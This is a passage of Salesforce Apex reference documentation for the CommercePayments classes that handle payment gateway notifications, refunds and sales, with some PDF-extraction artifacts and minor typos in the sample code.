Sets the AVS (address verification system) result code information that the gateway returned. Maximum length of 64 characters.

Signature

```
global void setGatewayAvsCode(String gatewayAvsCode)
```

Parameters

gatewayAvsCode
Type: String
Used to verify the address mapped to a payment method when the payments platform requests tokenization from the payment gateway.

Return Value
Type: void

setGatewayDate(gatewayDate)
Sets the date that the tokenization occurred. Some gateways don’t send this value.

Signature

```
global void setGatewayDate(Datetime gatewayDate)
```

Parameters

gatewayDate
Type: Datetime
**setGatewayMessage(gatewayMessage)**
Sets error messages that the gateway returned for the tokenization request. Maximum length of 255 characters.

**Signature**
```
global void setGatewayMessage(String gatewayMessage)
```

**Parameters**
- `gatewayMessage`
  Type: `String`

**Return Value**
Type: `void`

---

**setGatewayResultCode(gatewayResultCode)**
Sets a gateway-specific result code. The code may be mapped to a Salesforce-specific result code. Maximum length of 64 characters.

**Signature**
```
global void setGatewayResultCode(String gatewayResultCode)
```

**Parameters**
- `gatewayResultCode`
  Type: `String`
  Gateway-specific result code. Must be used to map a Salesforce-specific result code.

**Return Value**
Type: `void`

---

**setGatewayResultCodeDescription(gatewayResultCodeDescription)**
Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.

**Signature**
```
global void setGatewayResultCodeDescription(String gatewayResultCodeDescription)
```

**Parameters**
- `gatewayResultCodeDescription`
  Type: `String`
Provides additional information about the result code and why the gateway returned the specific code. Descriptions will vary between different gateways.

Return Value
Type: void

`setGatewayToken(gatewayToken)`
Sets the gateway token value that the gateway returned.

Signature
`global void setGatewayToken(String gatewayToken)`

Parameters
`gatewayToken`
Type: `String`

Return Value
Type: void

`setGatewayTokenDetails(gatewayTokenDetails)`
Sets any additional information that the gateway returned about the payment token.

Signature
`global void setGatewayTokenDetails(String gatewayTokenDetails)`

Parameters
`gatewayTokenDetails`
Type: `String`

Return Value
Type: void

`setSalesforceResultCodeInfo(salesforceResultCodeInfo)`
Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

Signature
Parameters

salesforceResultCodeInfo
Type: SalesforceResultCodeInfo on page 1036
Description of the Salesforce result code value.

Return Value
Type: void

PaymentGatewayNotificationRequest Class
Contains the notification request data from the gateway.

Namespace
CommercePayments on page 918

Usage
When the payment gateway sends a notification for a payment request, the payments platform sends the notification request to the gateway adapter. If the notification payload contains an eventCode of CAPTURE, the adapter constructs a CaptureNotification. If the notification payload contains an eventCode of REFUND, the adapter constructs a ReferencedRefundNotification. If the notification payload contains eventCode of AUTHORISATION, the adapter constructs a GatewayNotificationResponse.

You can obtain a notification request from PaymentGatewayNotificationContext on page 999 by invoking its getPaymentGatewayNotificationRequest method.

Example

```java
import commercepayments.GatewayNotificationResponse;
import commercepayments.PaymentGatewayNotificationContext;

public class PaymentGatewayNotificationRequest {
    public GatewayNotificationResponse processNotification(PaymentGatewayNotificationContext gatewayNotificationContext) {
        GatewayNotificationRequest notificationRequest = gatewayNotificationContext.getPaymentGatewayNotificationRequest();
        // Process the notification request
        return notificationRequest;
    }
}
```

IN THIS SECTION:

- PaymentGatewayNotificationRequest Properties
- PaymentGatewayNotificationRequest Methods

PaymentGatewayNotificationRequest Properties
The following are properties for PaymentGatewayNotificationRequest.
IN THIS SECTION:

**requestBody**
Body of the notification request sent by the payment gateway.

**requestBody**
Body of the notification request sent by the payment gateway.

Signature
```
global Blob requestBody {get; set;}
```

Property Value
Type: Blob

### PaymentGatewayNotificationRequest Methods

The following are methods for `PaymentGatewayNotificationRequest`.

#### getHeaders()pain

Gets HTTP headers from the notification request sent by the payment gateway.

Signature
```
global Map<String,String> getHeaders()
```

Return Value
Type: `Map<String,String>`

#### getRequestBody()pain

Stores the notification request body information from the payment gateway’s notification request.

Signature
```
global Blob getRequestBody()
```

Return Value
Type: `Blob`
PaymentsHttp Class

Makes an HTTP request to start the interaction with the payment gateway.

Namespace

CommercePayments on page 918

Usage

You must specify the CommercePayments namespace when creating an instance of this class. The constructor of this class takes no arguments. For example:

CommercePayments.PaymentsHttp payhttp = new CommercePayments.PaymentsHttp();

IN THIS SECTION:

PaymentsHttp Methods

PaymentsHttp Constructors

PaymentsHttp Methods

The following are methods for PaymentsHttp. All methods are instance methods.

IN THIS SECTION:

send(Request)

Sends an HttpRequest and returns the response.

send(Request)

Sends an HttpRequest and returns the response.

Signature

global HttpResponse send(HttpRequest request)

Parameters

request

Type: System.HttpRequest

Return Value

Type: System.HttpResponse

PaymentsHttp Constructors

The following are constructors for PaymentsHttp.
IN THIS SECTION:

**PaymentsHttp()**

Initiates an HTTP request and response.

**PaymentsHttp()**

Initiates an HTTP request and response.

Signature

global PaymentsHttp()

**RefundRequest Class**

Sends data related to a refund to the payment gateway adapter.

**Namespace**

CommercePayments on page 1011

**Usage**

The constructor of this class takes no arguments. For example:

```java
CommercePayments.RefundRequest rrq = new CommercePayments.RefundRequest();
```

**Example**

```java
commercepayments.ReferencedRefundRequest refundRequest = new
commercepayments.ReferencedRefundRequest(80, pmt.id);
```

**RefundRequest Methods**

The following are methods for RefundRequest.

**equals(obj)**

Maintains the integrity of lists of type RefundRequest by determining the equality of external objects in a list. This method is dynamic and is based on the equals method in Java.

**hashCode()**

Maintains the integrity of lists of type RefundRequest by determining the uniqueness of the external object records in a list.
**equals**(obj)
Maintains the integrity of lists of type `RefundRequest` by determining the equality of external objects in a list. This method is dynamic and is based on the `equals` method in Java.

**Signature**
```
global Boolean equals(Object obj)
```

**Parameters**

`obj`  
Type: Object

**Return Value**

Type: Boolean

**hashCode()**
Maintains the integrity of lists of type `RefundRequest` by determining the uniqueness of the external object records in a list.

**Signature**
```
global Integer hashCode()
```

**Return Value**

Type: Integer

---

**ReferencedRefundNotification Class**

When a payment gateway sends a notification for a refund transaction, the payment gateway adapter creates the `ReferencedRefundNotification` object to store information about notification.

**Namespace**

`CommercePayments` on page 918

**Usage**

This class is used with asynchronous payments. When a payment gateway sends a notification for a refund transaction, the gateway adapter creates an object of type `ReferencedRefundNotification` to populate the respective values.

The constructor of this class takes no arguments. For example:
```
CommercePayments.ReferencedRefundNotification rrn = new CommercePayments.ReferencedRefundNotification();
```
Example

```java
commercpayments.NotificationStatus notificationStatus = null;
if (success) {
    notificationStatus = commercpayments.NotificationStatus.Success;
} else {
    notificationStatus = commercpayments.NotificationStatus.Failed;
}
commercpayments.BaseNotification notification = null;
if ('CAPTURE'.equals(eventCode)) {
    notification = new commercpayments.CaptureNotification();
} else if ('REFUND'.equals(eventCode)) {
    notification = new commercpayments.ReferencedRefundNotification();
}
```

IN THIS SECTION:

ReferencedRefundNotification Methods

The following are methods for ReferencedRefundNotification.

IN THIS SECTION:

- `setAmount(amount)`
  Sets the transaction amount. Can be positive, negative, or zero.
- `setGatewayDate(gatewayDate)`
  Sets the date that communication for the refund notification occurred with the payment gateway.
- `setGatewayMessage(gatewayMessage)`
  Sets information or messages that the gateway returned.
- `setGatewayReferenceDetails(gatewayReferenceDetails)`
  Sets the payment gateway’s reference details.
- `setGatewayReferenceNumber(gatewayReferenceNumber)`
  Sets the payment gateway’s reference number.
- `setGatewayResultCode(gatewayResultCode)`
  Sets the payment gateway’s result code.
- `setGatewayResultCodeDescription(gatewayResultCodeDescription)`
  Sets the payment gateway’s result code description.
- `setId(id)`
  Sets the ID of a notification sent by the payment gateway.
- `setSalesforceResultCodeInfo(salesforceResultCodeInfo)`
  Sets Salesforce result code information.
- `setStatus(status)`
  Sets the notification status value on the notification object.
**setAmount(amount)**
Sets the transaction amount. Can be positive, negative, or zero.

Signature

```java
global void setAmount(Double amount)
```

Parameters

- `amount`
  - Type: `Double`
  - The amount to be debited or captured.

Return Value

Type: void

**setGatewayDate(gatewayDate)**
Sets the date that communication for the refund notification occurred with the payment gateway.

Signature

```java
global void setGatewayDate(Datetime gatewayDate)
```

Parameters

- `gatewayDate`
  - Type: `Datetime`
  - The date that communication happened with the gateway.

Return Value

Type: void

**setGatewayMessage(gatewayMessage)**
Sets information or messages that the gateway returned.

Signature

```java
global void setGatewayMessage(String gatewayMessage)
```

Parameters

- `gatewayMessage`
  - Type: `String`
**setGatewayReferenceDetails(gatewayReferenceDetails)**
Sets the payment gateway's reference details.

**Signature**

```
global void setGatewayReferenceDetails(String gatewayReferenceDetails)
```

**Parameters**

- **gatewayReferenceDetails**
  Type: **String**
  Provides information about the gateway communication.

**Return Value**
Type: void

**setGatewayReferenceNumber(gatewayReferenceNumber)**
Sets the payment gateway's reference number.

**Signature**

```
global void setGatewayReferenceNumber(String gatewayReferenceNumber)
```

**Parameters**

- **gatewayReferenceNumber**
  Type: **String**
  Unique transaction ID created by the payment gateway.

**Return Value**
Type: void

**setGatewayResultCode(gatewayResultCode)**
Sets the payment gateway's result code.

**Signature**

```
global void setGatewayResultCode(String gatewayResultCode)
```
Parameters

gatewayResultCode
  Type: String
  The gateway result code. You must map this to a Salesforce-specific result code.

Return Value
Type: void

**setGatewayResultCodeDescription (gatewayResultCodeDescription)**
Sets the payment gateway's result code description.

Signature

global void setGatewayResultCodeDescription(String gatewayResultCodeDescription)

Parameters

gatewayResultCodeDescription
  Type: String
  Description of the gateway result code. Provides additional context about the result code.

Return Value
Type: void

**setId(id)**
Sets the ID of a notification sent by the payment gateway.

Signature

global void setId(String id)

Parameters

id
  Type: String

Return Value
Type: void

**setSalesforceResultCodeInfo(salesforceResultCodeInfo)**
Sets Salesforce result code information.
Signature

Parameters

salesforceResultCodeInfo
  Type: SalesforceResultCodeInfo on page 1036
  Description of the Salesforce result code value.

Return Value

Type: void

setStatus(status)
Sets the notification status value on the notification object.

Signature

global void setStatus(commercepayments.NotificationStatus status)

Parameters

status
  Type: NotificationStatus on page 993
  Indicates whether the payments platform successfully received the notification from the payment gateway.

Return Value

Type: void

ReferencedRefundRequest

Access information about the referenced refund requests. Extends the RefundRequest class.

Namespace

CommercePayments on page 918

Example

global commercepayments.GatewayResponse processRequest(commercepayments.PaymentGatewayContext gatewayContext) {
  commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
  if (requestType == commercepayments.RequestType.ReferencedRefund) {
    commercepayments.*ReferencedRefundRequest* refundRequest = (commercepayments.*ReferencedRefundRequest*) gatewayContext.getPaymentRequest();
  }
}
IN THIS SECTION:
  ReferencedRefundRequest Constructors
  ReferencedRefundRequest Properties
  ReferencedRefundRequest Methods

ReferencedRefundRequest Constructors
The following are constructors for ReferencedRefundRequest.

IN THIS SECTION:
  ReferencedRefundRequest(amount, paymentId)
  This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

ReferencedRefundRequest(amount, paymentId)
This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

Parameters
  amount
    Type: Double
    The amount to be debited or captured.

  paymentId
    Type: String
    The payment record.

ReferencedRefundRequest Properties
The following are properties for ReferencedRefundRequest.

IN THIS SECTION:
  PaymentId
    References a payment object.
  accountId
    References an account.
  amount
    References an amount.

PaymentId
References a payment object.
Property Value
Type: String

**accountId**
References an account.

Property Value
Type: String

**amount**
References an amount.

Property Value
Type: Double

ReferencedRefundRequest Methods
The following are methods for ReferencedRefundRequest.

ReferencedRefundResponse Class
The payment gateway adapter sends this response for the ReferencedRefund request type.

Namespace
CommercePayments on page 918

Usage
The constructor of this class takes no arguments. For example:

```
CommercePayments.ReferencedRefundResponse refr = new CommercePayments.ReferencedRefundResponse();
```

IN THIS SECTION:
  ReferencedRefundResponse Methods

ReferencedRefundResponse Methods
The following are methods for ReferencedRefundResponse.

IN THIS SECTION:
  setAmount(amount)
  Sets the transaction amount. The value must be a positive number.
setGatewayAvsCode(gatewayAvsCode)
Sets the payment gateway’s address verification system (AVS) code.

setGatewayDate(gatewayDate)
Sets the payment gateway’s date.

setGatewayMessage(gatewayMessage)
Sets information or messages that the gateway returned.

setGatewayReferenceDetails(gatewayReferenceDetails)
Sets the payment gateway’s reference details.

setGatewayReferenceNumber(gatewayReferenceNumber)
Sets the payment gateway’s reference number.

setGatewayResultCode(gatewayResultCode)
Sets the payment gateway’s result code.

setGatewayResultCodeDescription(gatewayResultCodeDescription)
Sets the payment gateway’s result code description.

setSalesforceResultCodeInfo(salesforceResultCodeInfo)
Set the Salesforce result code info.

**setAmount (amount)**

Sets the transaction amount. The value must be a positive number.

**Signature**

global void setAmount(Double amount)

**Parameters**

*amount*
Type: Double
The amount to be debited or captured.

**Return Value**

Type: void

**setGatewayAvsCode (gatewayAvsCode)**

Sets the payment gateway’s address verification system (AVS) code.

**Signature**

global void setGatewayAvsCode(String gatewayAvsCode)

**Parameters**

gatewayAvsCode
Type: String
Code sent by gateways that use an address verification system.

Return Value
Type: void

**setGatewayDate(gatewayDate)**
Sets the payment gateway’s date.

Signature
```cpp
global void setGatewayDate(Datetime gatewayDate)
```

Parameters
- **gatewayDate**
  Type: Datetime
  Date and time of the gateway communication.

Return Value
Type: void

**setGatewayMessage(gatewayMessage)**
Sets information or messages that the gateway returned.

Signature
```cpp
global void setGatewayMessage(String gatewayMessage)
```

Parameters
- **gatewayMessage**
  Type: String
  Information or error messages returned by the gateway.

Return Value
Type: void

**setGatewayReferenceDetails(gatewayReferenceDetails)**
Sets the payment gateway’s reference details.

Signature
```cpp
global void setGatewayReferenceDetails(String gatewayReferenceDetails)
```
Parameters
gatewayReferenceDetails
    Type: String
    Information about the gateway communication.

Return Value
Type: void

setGatewayReferenceNumber(gatewayReferenceNumber)
Sets the payment gateway's reference number.

Signature
global void setGatewayReferenceNumber(String gatewayReferenceNumber)

Parameters
gatewayReferenceNumber
    Type: String
    Unique transaction ID created by the payment gateway.

Return Value
Type: void

setGatewayResultCode(gatewayResultCode)
Sets the payment gateway's result code.

Signature
global void setGatewayResultCode(String gatewayResultCode)

Parameters
gatewayResultCode
    Type: String
    The gateway result code. Must be mapped to a Salesforce result code.

Return Value
Type: void

setGatewayResultCodeDescription(gatewayResultCodeDescription)
Sets the payment gateway's result code description.
Signature

`global void setGatewayResultCodeDescription(String gatewayResultCodeDescription)`

Parameters

`gatewayResultCodeDescription`  
Type: `String`  
Description of the `GatewayResultCode`. Provides more information about the result code returned by the gateway.

Return Value

Type: `void`

`setSalesforceResultCodeInfo(salesforceResultCodeInfo)`

Set the Salesforce result code info.

Signature

Parameters

`salesforceResultCodeInfo`  
Type: `commercepayments.SalesforceResultCodeInfo` on page 1036  
Describes the Salesforce result code value.

Return Value

Type: `void`

**RequestType Enum**

Defines the type of payment transaction request made to the payment gateway.

**Enum Values**

The following are the values of the `commercepayments.RequestType` enum.

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authorize</td>
<td>Payment authorization request</td>
</tr>
<tr>
<td>Capture</td>
<td>Payment capture request</td>
</tr>
<tr>
<td>ReferencedRefund</td>
<td>Payment refund request</td>
</tr>
</tbody>
</table>
### SaleApiPaymentMethodRequest Class

Sends data related to a card payment method to a gateway adapter during a sale service call.

#### Namespace

*CommercePayments* on page 918

#### Usage

This class holds information about a payment method that was used for a Sale request. `SaleApiPaymentMethodRequest` contains all the possible payment methods as fields, but only one value is populated for a given request. Gateway adapters use this class when constructing a sale request. The object of this class is obtained through the `paymentMethod` field on the `SaleRequest` object.

**Example:** This code sample retrieves the `SaleApiPaymentMethodRequest` object from the `SaleRequest` class.

```java
commercepayments.SaleApiPaymentMethodRequest paymentMethod = saleRequest.paymentMethod;
```

---

**IN THIS SECTION:**
- SaleApiPaymentMethodRequest Constructors
- SaleApiPaymentMethodRequest Properties
- SaleApiPaymentMethodRequest Methods

### SaleApiPaymentMethodRequest Constructors

The following are constructors for `SaleApiPaymentMethodRequest`.

---

**IN THIS SECTION:**
- `SaleApiPaymentMethodRequest(cardPaymentMethodRequest)`
  - Sends data related to a card payment method to a gateway adapter during a sale service call.
- `SaleApiPaymentMethodRequest()`
  - Constructor for building a sale payment method request. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.
**SaleApiPaymentMethodRequest(cardPaymentMethodRequest)**
Sends data related to a card payment method to a gateway adapter during a sale service call.

Signature

```plaintext
global SaleApiPaymentMethodRequest (commercepayments.CardPaymentMethodRequest cardPaymentMethodRequest)
```

Parameters

`cardPaymentMethodRequest`  
Type: `CardPaymentMethodRequest` on page 978

**SaleApiPaymentMethodRequest()**
Constructor for building a sale payment method request. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

Signature

```plaintext
global SaleApiPaymentMethodRequest()
```

**SaleApiPaymentMethodRequest Properties**
The following are properties for `SaleApiPaymentMethodRequest`.

**cardPaymentMethod**
Contains details of the card used in a payment method.

Signature

```plaintext
global commercepayments.CardPaymentMethodRequest cardPaymentMethod {get; set;}
```

Property Value

Type: `CardPaymentMethodRequest` on page 978

**SaleApiPaymentMethodRequest Methods**
The following are methods for `SaleApiPaymentMethodRequest`.
equals(obj)
Maintains the integrity of lists of type SaleApiPaymentMethodRequest by determining the equality of external objects in a list. This method is dynamic and is based on the equals method in Java.

hashCode()
Maintains the integrity of lists of type SaleApiPaymentMethodRequest by determining the uniqueness of the external object records in a list.

toString()
Converts a date to a string.

equals(obj)
Maintains the integrity of lists of type SaleApiPaymentMethodRequest by determining the equality of external objects in a list. This method is dynamic and is based on the equals method in Java.

Signature

global Boolean equals(Object obj)

Parameters

eq
Type: Object

Return Value
Type: Boolean

hashCode()
Maintains the integrity of lists of type SaleApiPaymentMethodRequest by determining the uniqueness of the external object records in a list.

Signature

global Integer hashCode()

Return Value
Type: Integer

toString()
Converts a date to a string.

Signature

global String toString()
Return Value
Type: String

SaleRequest Class
Stores information about a sales request.

Namespace
CommercePayments on page 918

Usage
This class holds all the required details about a sale request. Gateway adapters read the fields of this class object while constructing a sale JSON request that is sent to the payment gateway. The object of this class is made available through commercepayments.paymentGatewayContext by calling getPaymentRequest().

Example
This code sample retrieves the SaleRequest object from the PaymentGatewayContext class.

commercepayments.SaleRequest = 
(commercepayments.SaleRequest)gatewayContext.getPaymentRequest()

IN THIS SECTION:
SaleRequest Constructors
SaleRequest Properties
SaleRequest Methods

SaleRequest Constructors
The following are constructors for SaleRequest.

IN THIS SECTION:
SaleRequest(amount)
Constructor for defining an amount for the sale request. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

SaleRequest(amount)
Constructor for defining an amount for the sale request. This constructor is intended for test usage and throws an exception if used outside of the Apex test context.

Signature

```java
global SaleRequest(Double amount)
```
Parameters

\textit{amount} \\
Type: \textit{Double} \\
Amount of the sale request.

SaleRequest Properties

The following are properties for \textit{SaleRequest}.

IN THIS SECTION:

\begin{itemize}
\item \textit{accountId} \\
Customer account ID for the sale request.
\item \textit{amount} \\
Amount of the sale request. Can be positive only.
\item \textit{comments} \\
Additional information about the sale request.
\item \textit{currencyIsoCode} \\
Currency code for the sale request.
\item \textit{paymentMethod} \\
Payment method used in the sale request.
\end{itemize}

\textbf{accountId}

Customer account ID for the sale request.

Signature

\texttt{global String accountId \{get; set;}\}

Property Value

Type: \textit{String}

\textbf{amount}

Amount of the sale request. Can be positive only.

Signature

\texttt{global Double amount \{get; set;}\}

Property Value

Type: \textit{Double}
comments
Additional information about the sale request.

Signature
global String comments {get; set;}

Property Value
Type: String

currencyIsoCode
Currency code for the sale request.

Signature
global String currencyIsoCode {get; set;}

Property Value
Type: String

paymentMethod
Payment method used in the sale request.

Signature
global commercepayments.SaleApiPaymentMethodRequest paymentMethod {get; set;}

Property Value
Type: SaleApiPaymentMethodRequest on page 1024

SaleRequest Methods
The following are methods for SaleRequest.

IN THIS SECTION:
- equals(obj)
  Compares this object with the specified object and returns true if both objects are equal; otherwise, returns false.
- hashCode()
  Maintains the integrity of lists of type SaleRequest by determining the uniqueness of the external object records in a list.
- toString()
  Converts a date to a string.
equals(obj)
Compares this object with the specified object and returns true if both objects are equal; otherwise, returns false.

Signature
global Boolean equals(Object obj)

Parameters
obj
Type: Object

Return Value
Type: Boolean

hashCode()
Maintains the integrity of lists of type SaleRequest by determining the uniqueness of the external object records in a list.

Signature
global Integer hashCode()

Return Value
Type: Integer

toString()
Converts a date to a string.

Signature
global String toString()

Return Value
Type: String

SaleResponse Class
Response sent by payment gateway adapters for a sales service.

Namespace
CommercePayments on page 918
Usage

The constructor of this class takes no arguments. For example:

```java
CommercePayments.SaleResponse slr CommercePayments.SaleResponse();
```

This class contains details about a customer card that was used as a payment method for Authorization, Sale, or Tokenization request. The gateway adapter reads the fields of this class while constructing a transaction JSON request, which it then sends to the payment gateway. The object of this class is made available by the `cardPaymentMethod` field in `SaleApiPaymentMethodRequest` on page 1024 and `AuthApiPaymentMethodRequest` on page 934.

Example

This code sample builds a `SaleResponse` object.

```java
commercepayments.SaleResponse saleResponse = new commercepayments.SaleResponse();
saleResponse.setGatewayReferenceDetails("refDetailString");
saleResponse.setGatewayResultCode("res_code");
saleResponse.setGatewayResultCodeDescription(""),
saleResponse.setGatewayReferenceNumber(""),
saleResponse.setSalesforceResultCodeInfo(getSalesforceResultCodeInfo(commercepayments.SalesforceResultCode.SUCCESS.name()));
```

IN THIS SECTION:

SaleResponse Methods

The following are methods for `SaleResponse`.

IN THIS SECTION:

- `setAmount(amount)`
  Sets the transaction amount. Must be a non-negative value.
- `setGatewayAvsCode(gatewayAvsCode)`
  Sets the AVS (address verification system) result code information that the gateway returned. Maximum length of 64 characters.
- `setGatewayDate(gatewayDate)`
  Sets the date that the sale occurred. Some gateways don’t send this value.
- `setGatewayMessage(gatewayMessage)`
  Sets error messages that the gateway returned for the sale request. Maximum length of 255 characters.
- `setGatewayReferenceDetails(gatewayReferenceDetails)`
  Sets additional data that you can use for subsequent sales. You can use any data that isn’t normalized in financial entities. This field has a maximum length of 1000 characters and can store data as JSON or XML.
- `setGatewayReferenceNumber(gatewayReferenceNumber)`
  Sets the unique gateway reference number for the transaction that the gateway returned. Maximum length of 255 characters.
- `setGatewayResultCode(gatewayResultCode)`
  Sets a gateway-specific result code. The code may be mapped to a Salesforce-specific result code. Maximum length of 64 characters.
- `setGatewayResultCodeDescription(gatewayResultCodeDescription)`
  Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.
setPaymentMethodTokenizationResponse(paymentMethodTokenizationResponse)
Sets information from the gateway about the tokenized payment method.

setSalesforceResultCodeInfo(salesforceResultCodeInfo)
Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

**setAmount (amount)**
Sets the transaction amount. Must be a non-negative value.

Signature

global void setAmount(Double amount)

Parameters

**amount**
Type: Double
The amount of the transaction.

Return Value
Type: void

**setGatewayAvsCode (gatewayAvsCode)**
Sets the AVS (address verification system) result code information that the gateway returned. Maximum length of 64 characters.

Signature

global void setGatewayAvsCode(String gatewayAvsCode)

Parameters

gatewayAvsCode
Type: String
Used to verify the address mapped to a payment method when the payments platform requests tokenization from the payment gateway.

Return Value
Type: void

**setGatewayDate (gatewayDate)**
Sets the date that the sale occurred. Some gateways don’t send this value.

Signature

global void setGatewayDate(Datetime gatewayDate)
setGatewayMessage (gatewayMessage)
Sets error messages that the gateway returned for the sale request. Maximum length of 255 characters.

Signature

```
global void setGatewayMessage(String gatewayMessage)
```

Parameters

gatewayMessage
Type: String

Return Value
Type: void

setGatewayReferenceDetails (gatewayReferenceDetails)
Sets additional data that you can use for subsequent sales. You can use any data that isn’t normalized in financial entities. This field has a maximum length of 1000 characters and can store data as JSON or XML.

Signature

```
global void setGatewayReferenceDetails(String gatewayReferenceDetails)
```

Parameters

gatewayReferenceDetails
Type: String

Return Value
Type: void

setGatewayReferenceNumber (gatewayReferenceNumber)
Sets the unique gateway reference number for the transaction that the gateway returned. Maximum length of 255 characters.

Signature

```
global void setGatewayReferenceNumber(String gatewayReferenceNumber)
```
Parameters

gatewayReferenceNumber
Type: String
Unique authorization ID created by the payment gateway.

Return Value
Type: void

**setGatewayResultCode (gatewayResultCode)**
Sets a gateway-specific result code. The code may be mapped to a Salesforce-specific result code. Maximum length of 64 characters.

Signature

global void setGatewayResultCode (String gatewayResultCode)

Parameters

gatewayResultCode
Type: String
Gateway-specific result code. Must be used to map a Salesforce-specific result code.

Return Value
Type: void

**setGatewayResultCodeDescription (gatewayResultCodeDescription)**
Sets a description of the gateway-specific result code that a payment gateway returned. Maximum length of 1000 characters.

Signature

global void setGatewayResultCodeDescription (String gatewayResultCodeDescription)

Parameters

gatewayResultCodeDescription
Type: String
Description of the gateway’s result code. Use this field to learn more about why the gateway returned a certain result code.

Return Value
Type: void

**setPaymentMethodTokenizationResponse (paymentMethodTokenizationResponse)**
Sets information from the gateway about the tokenized payment method.
setPaymentMethodTokenizationResponse

Signature

global void
setPaymentMethodTokenizationResponse(commercepayments.PaymentMethodTokenizationResponse
paymentMethodTokenizationResponse)

Parameters

paymentMethodTokenizationResponse
  Type: PaymentMethodTokenizationResponse on page 1004
  Gateway response sent by payment gateway adapters for the payment method tokenization request. The response includes the
  payment method’s token ID value.

Return Value

Type: void

setSalesforceResultCodeInfo

setSalesforceResultCodeInfo(salesforceResultCodeInfo)

Signature

global void setSalesforceResultCodeInfo(commercepayments.SalesforceResultCodeInfo
salesforceResultCodeInfo)

Parameters

salesforceResultCodeInfo
  Type: SalesforceResultCodeInfo on page 1036
  Sets the Salesforce-specific result code information. Payment gateways have many response codes for payment calls. Salesforce uses
  the result code information to map payment gateway codes to a predefined set of standard Salesforce result codes.

Return Value

Type: void

SalesforceResultCode Enum

Defines the gateway call status values in Salesforce based on the call status values that the payment gateway returned.

Usage

Payment gateways can return many different responses. Salesforce maps these responses into one of seven possible Salesforce response
values.

Enum Values

The following are the values of the commercepayments.SalesforceResultCode enum.
The gateway call failed, but it may still work if you try again. For example, the customer had insufficient funds or briefly lost their connection to the internet. This is also known as a "soft decline."

<table>
<thead>
<tr>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Decline</td>
<td>The gateway call failed, but it may still work if you try again. For example, the customer had insufficient funds or briefly lost their connection to the internet. This is also known as a &quot;soft decline.&quot;</td>
</tr>
<tr>
<td>Indeterminate</td>
<td>The gateway didn’t respond to the call and the user has to check the transaction request’s status. Indeterminate responses often occur following server timeouts, system failure, or any action that interrupts the gateway's ability to process the payment.</td>
</tr>
<tr>
<td>PermanentFail</td>
<td>The customer’s bank recognized the payment account as closed, terminated, or fraudulent. The gateway won’t further calls from the payment method associate with the transaction. After a permanent fail response, the transaction changes its gateway status to Permanent Fail.</td>
</tr>
<tr>
<td>RequiresReview</td>
<td>The gateway call initially failed, but the payment method may still work after further evaluation. This response often happens when the customer bank requires more information about the payment request. In this case, the bank provides an authorization code manually when the payment manager calls the processor.</td>
</tr>
<tr>
<td>Success</td>
<td>The gateway processed the transaction successfully.</td>
</tr>
<tr>
<td>SystemError</td>
<td>Salesforce ended the payment request call before receiving a gateway response. System error responses often occur due to gateway server errors, invalid customer credentials, or anytime the request times out before receiving a gateway response. The failure occurs before the request reaches the gateway, so there’s no risk of an unaccounted payment remaining in the gateway. You can continue with the transaction by manually creating a payment.</td>
</tr>
<tr>
<td>ValidationError</td>
<td>The gateway received incorrect customer payment information, such as misspelled credit card names or a CVV with missing numbers.</td>
</tr>
</tbody>
</table>

SalesforceResultCodeInfo

Stores Salesforce result code information from payment gateway adapters.

Namespace

CommercePayments on page 918

Usage

The constructor of this class takes no arguments. For example:

```java
```

Gateways can return the transaction result as either CustomMetadata or SalesforceResultCode.

IN THIS SECTION:

SalesforceResultCodeInfo Constructors
SalesforceResultCodeInfo Constructors

The following are constructors for SalesforceResultCodeInfo.

IN THIS SECTION:

SalesforceResultCodeInfo(customMetadataTypeInfo)
Constructor for providing the customMetadataTypeInfo for the result of the transaction.

SalesforceResultCodeInfo(salesforceResultCode)
Constructor that provides the salesforceResultCode for the transaction result.

SalesforceResultCodeInfo (customMetadataTypeInfo)
Constructor for providing the customMetadataTypeInfo for the result of the transaction.

Signature

```
global SalesforceResultCodeInfo(commercepayments.CustomMetadataTypeInfo customMetadataTypeInfo)
```

Parameters

- `customMetadataTypeInfo`
  - Type: CustomMetadataTypeInfo on page 985
  - Information about the metadata type.

SalesforceResultCodeInfo (salesforceResultCode)
Constructor that provides the salesforceResultCode for the transaction result.

Signature

```
global SalesforceResultCodeInfo(commercepayments.SalesforceResultCode salesforceResultCode)
```

Parameters

- `salesforceResultCode`
  - Type: SalesforceResultCode on page 1035
  - The enum value for the result code.

ConnectApi Namespace

The ConnectApi namespace (also called Connect in Apex) provides classes for accessing the same data available in Connect REST API. Use Connect in Apex to create custom experiences in Salesforce.

For information about working with the ConnectApi classes, see Connect in Apex on page 346.
IN THIS SECTION:

ActionLinks Class
Create, delete, and get information about an action link group definition; get information about an action link group; get action link diagnostic information.

Announcements Class
Access information about announcements and post announcements.

Chatter Class
Access information about followers and subscriptions for records.

ChatterFavorites Class
Chatter favorites give you easy access to topics, list views, and feed searches.

ChatterFeeds Class
Get, post, and delete feed elements, likes, comments, and bookmarks. You can also search feed elements, share feed elements, and vote on polls.

ChatterGroups Class
Information about groups, such as the group's members, photo, and the groups the specified user is a member of. Add members to a group, remove members, and change the group photo.

ChatterMessages Class
Get, send, search, and reply to private messages. You can also get and search private conversations, mark conversations as read, and get a count of unread private messages.

ChatterUsers Class
Access information about users, such as activity, followers, subscriptions, files, and groups.

CommerceBuyerExperience Class
Get order delivery group, order item, and order summaries.

CommerceCart Class
Get, create, update, and delete carts. Get cart items, add items to carts, update and delete cart items.

CommerceCatalog Class
Get products, product categories, and product category paths.

CommerceStorePricing Class
Get product prices.

CommerceWishlist Class
Get, create, update, and delete wishlists. Add wishlists to carts. Get wishlist items, add items to wishlists, and delete wishlist items.

Communities Class
Access general information about Experience Cloud sites in your org.

CommunityModeration Class
